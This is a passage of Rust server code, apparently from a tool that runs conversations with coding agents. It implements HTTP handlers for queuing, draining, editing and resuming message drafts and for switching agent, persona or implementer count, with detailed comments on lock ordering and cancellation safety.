9964                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9965                    })
9966                })
9967                .collect::<ApiResult<Vec<talk::Attachment>>>()
9968        })
9969        .await?
9970    };
9971    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9972        .await.map_err(ApiError::from)?;
9973
9974    // Pending recovery and a new immediate turn are decided under the same
9975    // claim lock. Without that one critical section, a second `/say` can see
9976    // the first request's claim as "busy" and append itself to the recovered
9977    // draft before the first request rejects it.
9978    let start = {
9979        let ui = Arc::clone(&ui);
9980        let id = id.clone();
9981        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9982    };
9983    let turn_guard = match start {
9984        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9985        TalkTurnStart::Pending => {
9986            return Err(ApiError::conflict(
9987                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9988            ));
9989        }
9990        TalkTurnStart::Foreign => {
9991            return Err(ApiError::conflict(
9992                "a turn is already running in another process; try again when it has finished",
9993            ));
9994        }
9995        TalkTurnStart::Busy => {
9996            // A turn is already running: queue rather than refuse. See
9997            // `Ui::begin_talk_turn` and `talk::queue`.
9998            //
9999            // The queue write and the drain it may owe live inside the task
10000            // `tokio::spawn` hands to the runtime, for the same reason the
10001            // immediate path below puts `record` there: a dropped handler
10002            // future must not be able to land between a durable write and
10003            // the task that answers it. `blocking` runs its closure on
10004            // `spawn_blocking`, which finishes whether or not anyone is left
10005            // to receive its result - so a disconnect at the `.await` below
10006            // would otherwise leave the draft persisted and the reclaimed
10007            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
10008            // ever started and the queued text stranded until some later
10009            // `say` happened to pick it up. The caller's 202 travels back
10010            // over a `oneshot`, sent the moment the write lands.
10011            let (tx, rx) = tokio::sync::oneshot::channel();
10012            tokio::spawn({
10013                let ui = Arc::clone(&ui);
10014                let id = id.clone();
10015                let said = body.text.clone();
10016                let reply_to = body.reply_to.clone();
10017                async move {
10018                    let written = blocking({
10019                        let ui = Arc::clone(&ui);
10020                        let id = id.clone();
10021                        move || {
10022                            let mut talk = ui.talks.get(&id)?;
10023                            // A test-only stop point, right before the write
10024                            // an interleaving test needs to pin - see
10025                            // `BusyQueueGate`. `None` in every real server:
10026                            // the field only exists under `#[cfg(test)]`.
10027                            #[cfg(test)]
10028                            if let Some(gate) = ui
10029                                .busy_queue_gate
10030                                .lock()
10031                                .unwrap_or_else(PoisonError::into_inner)
10032                                .take()
10033                            {
10034                                let _ = gate.reached.send(());
10035                                let _ = gate.release.recv();
10036                            }
10037                            if let Err(error) = talk::queue_reply(
10038                                &mut talk,
10039                                &ui.talks,
10040                                &said,
10041                                attachments,
10042                                reply_to,
10043                            ) {
10044                                if let Ok(fresh) = ui.talks.get(&id) {
10045                                    if !fresh.status.open() {
10046                                        return Err(ApiError::conflict(format!(
10047                                            "talk {} is {} and takes no more turns",
10048                                            fresh.short(),
10049                                            fresh.status.as_str()
10050                                        )));
10051                                    }
10052                                }
10053                                return Err(
10054                                    if error.to_string().contains("invalid reply target") {
10055                                        ApiError::bad_request("invalid reply target")
10056                                    } else {
10057                                        ApiError::from(error)
10058                                    },
10059                                );
10060                            }
10061                            // The turn that looked busy a moment ago can have
10062                            // finished, found nothing to drain and given up the
10063                            // slot in the gap between that check and this write
10064                            // landing - see `drain_loop`'s own doc for the other
10065                            // half of why that gap would otherwise be able to
10066                            // open at all. Reclaiming the slot here, rather than
10067                            // trusting that whoever held it is still watching, is
10068                            // what stops the text just queued from being stranded
10069                            // until an unrelated future `say` happens to drain
10070                            // it.
10071                            let claim = match ui.begin_queued_talk_turn(&id)? {
10072                                Some(turn_guard) => {
10073                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
10074                                    Some((talk.clone(), cfg, turn_guard))
10075                                }
10076                                None => None,
10077                            };
10078                            let thinking = ui.is_thinking(&id);
10079                            Ok((TalkView::new(talk, thinking, &ui), claim))
10080                        }
10081                    })
10082                    .await;
10083                    #[cfg(not(test))]
10084                    {
10085                        match written {
10086                            Ok((view, reclaimed)) => {
10087                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10088                                drop(reclaimed);
10089                                match launched {
10090                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10091                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10092                                }
10093                            }
10094                            Err(error) => { let _ = tx.send(Err(error)); }
10095                        }
10096                    }
10097                    #[cfg(test)]
10098                    {
10099                    let (view, reclaimed) = match written {
10100                        Ok(pair) => pair,
10101                        Err(e) => {
10102                            // Nobody is listening if the handler's own future
10103                            // was already dropped - that is fine, nothing was
10104                            // persisted and there is no response left to carry
10105                            // this error to.
10106                            let _ = tx.send(Err(e));
10107                            return;
10108                        }
10109                    };
10110                    // If this fails, the caller is gone; the drain below still
10111                    // runs exactly as it would have for a caller that stayed.
10112                    let _ = tx.send(Ok(view));
10113                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10114                        let talks = ui.talks.clone();
10115                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10116                    }
10117                    }
10118                }
10119            });
10120            let view = rx
10121                .await
10122                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10123            return Ok((StatusCode::ACCEPTED, Json(view)));
10124        }
10125    };
10126
10127    let (talk, cfg) = {
10128        let ui = Arc::clone(&ui);
10129        let id = id.clone();
10130        blocking(move || {
10131            let talk = ui.talks.get(&id)?;
10132            let (cfg, _) = Config::discover(&talk.repo, None)?;
10133            Ok((talk, cfg))
10134        })
10135        .await?
10136    };
10137
10138    let talks = ui.talks.clone();
10139    // `record` runs *inside* the spawned task, rather than in this handler
10140    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10141    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10142    // doc), and that drop can land at any `.await` this function makes,
10143    // including one that has already produced its result but not yet
10144    // resumed. A message could end up recorded on disk with the handler
10145    // future gone before it ever reached the `tokio::spawn` that would have
10146    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10147    // that hands the whole future to the runtime as one unit - once made, no
10148    // later drop of *this* handler's own future (that call's return value is
10149    // never held onto here) can reach back in and stop it, so record and the
10150    // hand-off to `respond` are unconditionally atomic from the client's
10151    // point of view. The immediate response this handler owes the caller
10152    // travels back over a `oneshot`, sent the moment `record` succeeds.
10153    let (tx, rx) = tokio::sync::oneshot::channel();
10154    tokio::spawn({
10155        #[cfg(test)]
10156        let ui = Arc::clone(&ui);
10157        let talks = talks.clone();
10158        let id = id.clone();
10159        let said = body.text.clone();
10160        let reply_to = body.reply_to.clone();
10161        let mut talk = talk.clone();
10162        async move {
10163            let recorded = blocking({
10164                let talks = talks.clone();
10165                move || {
10166                    if let Err(error) =
10167                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10168                    {
10169                        if let Ok(fresh) = talks.get(&talk.id) {
10170                            if !fresh.status.open() {
10171                                return Err(ApiError::conflict(format!(
10172                                    "talk {} is {} and takes no more turns",
10173                                    fresh.short(),
10174                                    fresh.status.as_str()
10175                                )));
10176                            }
10177                        }
10178                        return Err(if error.to_string().contains("invalid reply target") {
10179                            ApiError::bad_request("invalid reply target")
10180                        } else {
10181                            ApiError::from(error)
10182                        });
10183                    }
10184                    // `record` mutates `talk` in place to the freshly persisted
10185                    // state (status, pending, and the just-appended operator
10186                    // turn), so returning it here is equivalent to re-reading it
10187                    // from disk - without the extra round trip a re-read would
10188                    // need.
10189                    Ok((said.trim().to_owned(), talk))
10190                }
10191            })
10192            .await;
10193            let (text, talk) = match recorded {
10194                Ok(pair) => pair,
10195                Err(e) => {
10196                    // Nobody is listening if the handler's own future was
10197                    // already dropped - that is fine, there is no response
10198                    // left to carry this error to and nothing was persisted.
10199                    let _ = tx.send(Err(e));
10200                    return;
10201                }
10202            };
10203            #[cfg(not(test))]
10204            {
10205                let _ = (&cfg, &text);
10206                // The reservation becomes durable while this process still
10207                // holds the talk lease. The child waits for that lease; the
10208                // new UI sees its startup reservation immediately.
10209                let result = crate::chat_worker::spawn_recorded_turn(
10210                    &talks, &id, talk.turns.len() - 1,
10211                ).await;
10212                drop(turn_guard);
10213                match result {
10214                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10215                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10216                }
10217            }
10218            #[cfg(test)]
10219            {
10220            let queued = talk.clone();
10221            let mut talk = talk;
10222            let thinking = ui.is_thinking(&id);
10223            // If this fails, the caller is gone; the turn still runs below
10224            // exactly as it would have for a caller that stayed connected.
10225            let _ = tx.send(Ok((queued, thinking)));
10226
10227            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
10228                // `respond` records the failure in the transcript itself,
10229                // which is what the phone reads; this line is for the
10230                // operator's terminal.
10231                tracing::warn!("talk {id} turn failed: {e:#}");
10232            }
10233            // Anything `talk::queue` added while the turn above was running
10234            // is still owed an answer - see `drain_loop`.
10235            drain_loop(talk, talks, cfg, id, turn_guard).await;
10236            }
10237        }
10238    });
10239
10240    let (queued, thinking) = rx
10241        .await
10242        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10243
10244    // 202: the operator's message is recorded and a turn is running.
10245    Ok((
10246        StatusCode::ACCEPTED,
10247        Json(TalkView::new(queued, thinking, &ui)),
10248    ))
10249    }).await
10250}
10251
10252/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10253/// changing it. The turn guard is the same per-talk ownership `talk_say`
10254/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10255async fn talk_pending_resume(
10256    State(ui): State<Arc<Ui>>,
10257    Path(id): Path<String>,
10258) -> ApiResult<(StatusCode, Json<TalkView>)> {
10259    let admission = ui.begin_admission()?;
10260    admitted(admission, async move {
10261        let id = {
10262            let ui = Arc::clone(&ui);
10263            let asked = id.clone();
10264            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10265        };
10266        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10267            .await
10268            .map_err(ApiError::from)?;
10269        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10270            return Err(ApiError::conflict(
10271                "a talk turn is already running; the queued draft will be handled by it",
10272            ));
10273        };
10274        let (talk, cfg) = {
10275            let ui = Arc::clone(&ui);
10276            let id = id.clone();
10277            blocking(move || {
10278                let talk = ui.talks.get(&id)?;
10279                if !talk.status.open() {
10280                    return Err(ApiError::conflict(format!(
10281                        "talk {} is {} and takes no more turns",
10282                        talk.short(),
10283                        talk.status.as_str()
10284                    )));
10285                }
10286                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10287                    return Err(ApiError::conflict("there is no queued draft to resume"));
10288                }
10289                let (cfg, _) = Config::discover(&talk.repo, None)?;
10290                Ok((talk, cfg))
10291            })
10292            .await?
10293        };
10294        let view = TalkView::new(talk.clone(), true, &ui);
10295        let talks = ui.talks.clone();
10296        #[cfg(not(test))]
10297        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10298        #[cfg(test)]
10299        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10300        Ok((StatusCode::ACCEPTED, Json(view)))
10301    })
10302    .await
10303}
10304
10305/// Hand off an admitted draft while retaining the talk lease until its
10306/// detached startup reservation is durable.
10307#[cfg(not(test))]
10308async fn detach_talk_turn(
10309    _talk: Talk,
10310    talks: Talks,
10311    _cfg: Config,
10312    id: String,
10313    turn: TalkTurnGuard,
10314) -> ApiResult<()> {
10315    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10316    drop(turn);
10317    launched.map(|_| ()).map_err(ApiError::from)
10318}
10319
10320#[cfg(test)]
10321async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10322    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10323}
10324
10325/// A settings response must not report idle while its claim is still held.
10326/// Wait until the first drain either releases the claim or promotes a draft.
10327/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10328async fn settle_settings_turn(
10329    talk: Talk,
10330    talks: Talks,
10331    cfg: Config,
10332    id: String,
10333    turn: TalkTurnGuard,
10334    observed: u64,
10335) -> bool {
10336    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10337        let turns = Arc::clone(&turn.turns);
10338        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10339        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10340            // Release under the arrival lock; a later `/say` takes its own claim.
10341            turn.release(&mut live);
10342            return false;
10343        }
10344    }
10345    let (started, settled) = tokio::sync::oneshot::channel();
10346    tokio::spawn(drain_loop_started(
10347        talk,
10348        talks,
10349        cfg,
10350        id,
10351        turn,
10352        Some(started),
10353    ));
10354    settled.await.unwrap_or(false)
10355}
10356
10357#[cfg(not(test))]
10358async fn drain_loop_started(
10359    talk: Talk,
10360    talks: Talks,
10361    _cfg: Config,
10362    id: String,
10363    turn: TalkTurnGuard,
10364    started: Option<tokio::sync::oneshot::Sender<bool>>,
10365) {
10366    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10367    let running = if pending {
10368        match crate::chat_worker::spawn_turn(&talks, &id).await {
10369            Ok(_) => true,
10370            Err(error) => {
10371                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10372                false
10373            }
10374        }
10375    } else {
10376        false
10377    };
10378    drop(turn);
10379    if let Some(started) = started {
10380        let _ = started.send(running);
10381    }
10382}
10383
10384// Existing in-process conversation tests exercise transcript/arrival ordering;
10385// real process-lifetime behavior is covered by the CLI integration tests.
10386#[cfg(test)]
10387async fn drain_loop_started(
10388    mut talk: Talk,
10389    talks: Talks,
10390    cfg: Config,
10391    id: String,
10392    turn: TalkTurnGuard,
10393    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10394) {
10395    let live_set = Arc::clone(&turn.turns);
10396    // `Option` rather than binding `turn` directly to a `_turn` that lives
10397    // for the whole function: releasing it has to happen by calling
10398    // `TalkTurnGuard::release` from inside the locked branch below, which
10399    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10400    // remove the id - correctly, if this loop is ever left some other way -
10401    // but doing it there misses the lock this loop is already holding, which
10402    // is the exact gap `release` exists to close.
10403    let mut turn = Some(turn);
10404    loop {
10405        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10406            // The lease was taken over while a turn ran. Whatever is queued
10407            // stays a draft; running it here would race the new owner.
10408            tracing::warn!("talk {id} lost its turn lease; not draining further");
10409            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10410            if let Some(turn) = turn.take() {
10411                turn.release(&mut live);
10412            }
10413            break;
10414        }
10415        // `talk::drain` takes the store lock and can write/rename the talk
10416        // file. Keep the turn mutex out of that synchronous work: it protects
10417        // every talk's in-memory claim, not this talk's disk operation.
10418        let observed = live_set
10419            .lock()
10420            .unwrap_or_else(PoisonError::into_inner)
10421            .queued
10422            .get(&id)
10423            .copied()
10424            .unwrap_or(0);
10425        let drained = blocking({
10426            let talks = talks.clone();
10427            move || {
10428                let result = talk::drain(&mut talk, &talks);
10429                Ok((talk, result))
10430            }
10431        })
10432        .await;
10433        let (next_talk, result) = match drained {
10434            Ok(drained) => drained,
10435            Err(e) => {
10436                tracing::warn!(
10437                    status = %e.status,
10438                    message = %e.message,
10439                    "talk {id} could not start queued-text drain"
10440                );
10441                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10442                turn.take()
10443                    .expect("held for the whole loop until released here")
10444                    .release(&mut live);
10445                break;
10446            }
10447        };
10448        talk = next_talk;
10449        let drained = match result {
10450            Ok(Some(drained)) => drained,
10451            Ok(None) => {
10452                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10453                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10454                    continue;
10455                }
10456                turn.take()
10457                    .expect("held for the whole loop until released here")
10458                    .release(&mut live);
10459                break;
10460            }
10461            Err(e) => {
10462                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10463                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10464                turn.take()
10465                    .expect("held for the whole loop until released here")
10466                    .release(&mut live);
10467                break;
10468            }
10469        };
10470        if let Some(started) = started.take() {
10471            let _ = started.send(true);
10472        }
10473        let responded = match turn.as_ref() {
10474            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10475            None => Err(anyhow::anyhow!("the turn guard was released")),
10476        };
10477        if let Err(e) = responded {
10478            tracing::warn!("talk {id} turn failed: {e:#}");
10479        }
10480    }
10481    drop(turn);
10482    if let Some(started) = started {
10483        let _ = started.send(false);
10484    }
10485}
10486
10487/// Clear a queued draft only if it remains exactly the one the caller saw.
10488async fn talk_pending_clear(
10489    State(ui): State<Arc<Ui>>,
10490    Path(id): Path<String>,
10491    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10492) -> ApiResult<Json<TalkView>> {
10493    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10494    blocking(move || {
10495        let id = resolve_talk(&ui.talks, &id)?;
10496        let mut talk = ui.talks.get(&id)?;
10497        if !talk.status.open() {
10498            return Err(ApiError::conflict(format!(
10499                "talk {} is {} and takes no more turns",
10500                talk.short(),
10501                talk.status.as_str()
10502            )));
10503        }
10504        if !talk::clear_pending_if_matches(
10505            &mut talk,
10506            &ui.talks,
10507            &body.expected_text,
10508            &body.expected_attachments,
10509        )? {
10510            return Err(ApiError::conflict(
10511                "queued message changed; reload it before clearing",
10512            ));
10513        }
10514        let thinking = ui.is_thinking(&talk.id);
10515        Ok(Json(TalkView::new(talk, thinking, &ui)))
10516    })
10517    .await
10518}
10519
10520/// Atomically edit a queued draft's text while preserving its attachments.
10521/// The snapshot fields make a concurrent queue or drain a conflict rather
10522/// than silently discarding either message.
10523async fn talk_pending_edit(
10524    State(ui): State<Arc<Ui>>,
10525    Path(id): Path<String>,
10526    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10527) -> ApiResult<Json<TalkView>> {
10528    let admission = ui.begin_admission()?;
10529    admitted(admission, async move {
10530        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10531        let id = {
10532            let ui = Arc::clone(&ui);
10533            blocking(move || resolve_talk(&ui.talks, &id)).await?
10534        };
10535        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10536            .await
10537            .map_err(ApiError::from)?;
10538        let (view, reclaimed) = blocking({
10539            let ui = Arc::clone(&ui);
10540            move || {
10541                let mut talk = ui.talks.get(&id)?;
10542                if !talk.status.open() {
10543                    return Err(ApiError::conflict(format!(
10544                        "talk {} is {} and takes no more turns",
10545                        talk.short(),
10546                        talk.status.as_str()
10547                    )));
10548                }
10549                if !talk::edit_pending_message(
10550                    &mut talk,
10551                    &ui.talks,
10552                    &body.text,
10553                    &body.expected_text,
10554                    &body.expected_attachments,
10555                    body.message,
10556                )? {
10557                    return Err(ApiError::conflict(
10558                        "queued message changed; reload it before editing",
10559                    ));
10560                }
10561                let claim = match ui.begin_queued_talk_turn(&id)? {
10562                    Some(turn_guard) => {
10563                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10564                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10565                    }
10566                    None => None,
10567                };
10568                let thinking = ui.is_thinking(&id);
10569                Ok((TalkView::new(talk, thinking, &ui), claim))
10570            }
10571        })
10572        .await?;
10573        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10574            let talks = ui.talks.clone();
10575            #[cfg(not(test))]
10576            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10577            #[cfg(test)]
10578            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10579        }
10580        Ok(Json(view))
10581    })
10582    .await
10583}
10584
10585/// The 409 for a talk that takes no more turns.
10586fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10587    if talk.status.open() {
10588        return Ok(());
10589    }
10590    Err(ApiError::conflict(format!(
10591        "talk {} is {} and takes no more turns",
10592        talk.short(),
10593        talk.status.as_str()
10594    )))
10595}
10596
10597/// The body of `POST /api/talks/{id}/agent`.
10598#[derive(Debug, Deserialize)]
10599struct TalkAgent {
10600    agent: String,
10601}
10602
10603/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10604/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10605/// start a turn on the old session between the check and the write; one that
10606/// arrives in that window finds the talk busy and becomes a draft.
10607async fn talk_agent(
10608    State(ui): State<Arc<Ui>>,
10609    Path(id): Path<String>,
10610    Json(body): Json<TalkAgent>,
10611) -> ApiResult<Json<TalkView>> {
10612    let admission = ui.begin_admission()?;
10613    admitted(admission, async move {
10614        let id = {
10615            let ui = Arc::clone(&ui);
10616            blocking(move || resolve_talk(&ui.talks, &id)).await?
10617        };
10618        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10619            .await
10620            .map_err(ApiError::from)?;
10621        let repo = {
10622            let ui = Arc::clone(&ui);
10623            let id = id.clone();
10624            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10625        };
10626        let cfg = config_for(&repo).await?;
10627        // Refuse before taking the claim; see `talk_implementers`.
10628        {
10629            let ui = Arc::clone(&ui);
10630            let id = id.clone();
10631            let cfg = cfg.clone();
10632            let wanted = body.agent.clone();
10633            blocking(move || {
10634                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10635                    .map_err(ApiError::bad_request_from)?;
10636                refuse_if_closed(&ui.talks.get(&id)?)
10637            })
10638            .await?;
10639        }
10640        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10641            return Err(ApiError::conflict(
10642                "a talk turn is running; change the agent once it has answered",
10643            ));
10644        };
10645        let switched = {
10646            let ui = Arc::clone(&ui);
10647            let id = id.clone();
10648            let cfg = cfg.clone();
10649            blocking(move || {
10650                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10651                    .map_err(ApiError::bad_request_from)?;
10652                let mut talk = ui.talks.get(&id)?;
10653                if !talk.status.open() {
10654                    return Err(ApiError::conflict(format!(
10655                        "talk {} is {} and takes no more turns",
10656                        talk.short(),
10657                        talk.status.as_str()
10658                    )));
10659                }
10660                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10661                Ok(talk)
10662            })
10663            .await
10664        };
10665        // A `/say` that landed while this held the claim saw the talk busy and
10666        // left a durable draft, trusting the claim's owner to drain it. So the
10667        // claim is settled whatever the outcome. Release an empty draft's claim
10668        // before replying; queued drafts continue independently of the handler.
10669        let observed = ui.queued_generation(&id);
10670        let fresh = {
10671            let ui = Arc::clone(&ui);
10672            let id = id.clone();
10673            blocking(move || Ok(ui.talks.get(&id)?)).await
10674        };
10675        let draining = match fresh {
10676            Ok(talk) => {
10677                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10678            }
10679            Err(_) => false,
10680        };
10681        let talk = switched?;
10682        Ok(Json(TalkView::new(talk, draining, &ui)))
10683    })
10684    .await
10685}
10686
10687/// The body of `POST /api/talks/{id}/persona`.
10688#[derive(Debug, Deserialize)]
10689struct TalkPersona {
10690    persona: String,
10691}
10692
10693/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10694/// like [`talk_agent`]: the turn guard is held for the change and always handed
10695/// to `drain_loop`, so a draft left meanwhile is not stranded.
10696async fn talk_persona(
10697    State(ui): State<Arc<Ui>>,
10698    Path(id): Path<String>,
10699    Json(body): Json<TalkPersona>,
10700) -> ApiResult<Json<TalkView>> {
10701    let admission = ui.begin_admission()?;
10702    admitted(admission, async move {
10703        let id = {
10704            let ui = Arc::clone(&ui);
10705            blocking(move || resolve_talk(&ui.talks, &id)).await?
10706        };
10707        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10708            .await
10709            .map_err(ApiError::from)?;
10710        let repo = {
10711            let ui = Arc::clone(&ui);
10712            let id = id.clone();
10713            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10714        };
10715        let cfg = config_for(&repo).await?;
10716        // Refuse before taking the claim; see `talk_implementers`.
10717        {
10718            let ui = Arc::clone(&ui);
10719            let id = id.clone();
10720            let cfg = cfg.clone();
10721            let wanted = body.persona.clone();
10722            blocking(move || {
10723                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10724                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10725                }
10726                refuse_if_closed(&ui.talks.get(&id)?)
10727            })
10728            .await?;
10729        }
10730        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10731            return Err(ApiError::conflict(
10732                "a talk turn is running; change the persona once it has answered",
10733            ));
10734        };
10735        let switched = {
10736            let ui = Arc::clone(&ui);
10737            let id = id.clone();
10738            let cfg = cfg.clone();
10739            blocking(move || {
10740                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10741                    return Err(ApiError::bad_request(format!(
10742                        "unknown persona `{}`",
10743                        body.persona
10744                    )));
10745                };
10746                let mut talk = ui.talks.get(&id)?;
10747                if !talk.status.open() {
10748                    return Err(ApiError::conflict(format!(
10749                        "talk {} is {} and takes no more turns",
10750                        talk.short(),
10751                        talk.status.as_str()
10752                    )));
10753                }
10754                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10755                Ok(talk)
10756            })
10757            .await
10758        };
10759        // As in `talk_agent`: settle the claim before replying, even on refusal.
10760        let observed = ui.queued_generation(&id);
10761        let fresh = {
10762            let ui = Arc::clone(&ui);
10763            let id = id.clone();
10764            blocking(move || Ok(ui.talks.get(&id)?)).await
10765        };
10766        let draining = match fresh {
10767            Ok(talk) => {
10768                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10769            }
10770            Err(_) => false,
10771        };
10772        let talk = switched?;
10773        Ok(Json(TalkView::new(talk, draining, &ui)))
10774    })
10775    .await
10776}
10777
10778/// The body of `POST /api/talks/{id}/implementers`.
10779#[derive(Debug, Deserialize)]
10780struct TalkImplementers {
10781    implementers: u8,
10782}
10783
10784/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10785/// like [`talk_agent`]: the turn guard is held for the change and always handed
10786/// to `drain_loop`, so a draft left meanwhile is not stranded.
10787async fn talk_implementers(
10788    State(ui): State<Arc<Ui>>,
10789    Path(id): Path<String>,
10790    Json(body): Json<TalkImplementers>,
10791) -> ApiResult<Json<TalkView>> {
10792    let admission = ui.begin_admission()?;
10793    admitted(admission, async move {
10794        let id = {
10795            let ui = Arc::clone(&ui);
10796            blocking(move || resolve_talk(&ui.talks, &id)).await?
10797        };
10798        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10799            .await
10800            .map_err(ApiError::from)?;
10801        let repo = {
10802            let ui = Arc::clone(&ui);
10803            let id = id.clone();
10804            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10805        };
10806        let cfg = config_for(&repo).await?;
10807        // Refuse a request that cannot succeed before taking the claim: a claim
10808        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10809        // moment, so a refusal would make the next request see "busy" instead of
10810        // its own answer. The checks after the claim stay the ones that decide.
10811        {
10812            let ui = Arc::clone(&ui);
10813            let id = id.clone();
10814            let cfg = cfg.clone();
10815            let wanted = body.implementers;
10816            blocking(move || {
10817                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10818                refuse_if_closed(&ui.talks.get(&id)?)
10819            })
10820            .await?;
10821        }
10822        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10823            return Err(ApiError::conflict(
10824                "a talk turn is running; change the implementers once it has answered",
10825            ));
10826        };
10827        let switched = {
10828            let ui = Arc::clone(&ui);
10829            let id = id.clone();
10830            let cfg = cfg.clone();
10831            blocking(move || {
10832                let chosen = talk::check_implementers(body.implementers, &cfg)
10833                    .map_err(ApiError::bad_request)?;
10834                let mut talk = ui.talks.get(&id)?;
10835                if !talk.status.open() {
10836                    return Err(ApiError::conflict(format!(
10837                        "talk {} is {} and takes no more turns",
10838                        talk.short(),
10839                        talk.status.as_str()
10840                    )));
10841                }
10842                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10843                Ok(talk)
10844            })
10845            .await
10846        };
10847        // As in `talk_agent`: settle the claim before replying, even on refusal.
10848        let observed = ui.queued_generation(&id);
10849        let fresh = {
10850            let ui = Arc::clone(&ui);
10851            let id = id.clone();
10852            blocking(move || Ok(ui.talks.get(&id)?)).await
10853        };
10854        let draining = match fresh {
10855            Ok(talk) => {
10856                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10857            }
10858            Err(_) => false,
10859        };
10860        let talk = switched?;
10861        Ok(Json(TalkView::new(talk, draining, &ui)))
10862    })
10863    .await
10864}
10865
10866/// `POST /api/talks/{id}/close`.
10867async fn talk_close(
10868    State(ui): State<Arc<Ui>>,
10869    Path(id): Path<String>,
10870) -> ApiResult<Json<TalkView>> {
10871    blocking(move || {
10872        let id = resolve_talk(&ui.talks, &id)?;
10873        let mut talk = ui.talks.get(&id)?;
10874        talk::close(&mut talk, &ui.talks).map_err(|error| {
10875            if error.is::<talk::ClosePendingInput>() {
10876                ApiError::conflict(format!("{error:#}"))
10877            } else {
10878                ApiError::from(error)
10879            }
10880        })?;
10881        let thinking = ui.is_thinking(&talk.id);
10882        Ok(Json(TalkView::new(talk, thinking, &ui)))
10883    })
10884    .await
10885}
10886
10887/// `POST /api/talks/{id}/reopen`.
10888async fn talk_reopen(
10889    State(ui): State<Arc<Ui>>,
10890    Path(id): Path<String>,
10891) -> ApiResult<Json<TalkView>> {
10892    blocking(move || {
10893        let id = resolve_talk(&ui.talks, &id)?;
10894        let mut talk = ui.talks.get(&id)?;
10895        talk::reopen(&mut talk, &ui.talks)?;
10896        let thinking = ui.is_thinking(&talk.id);
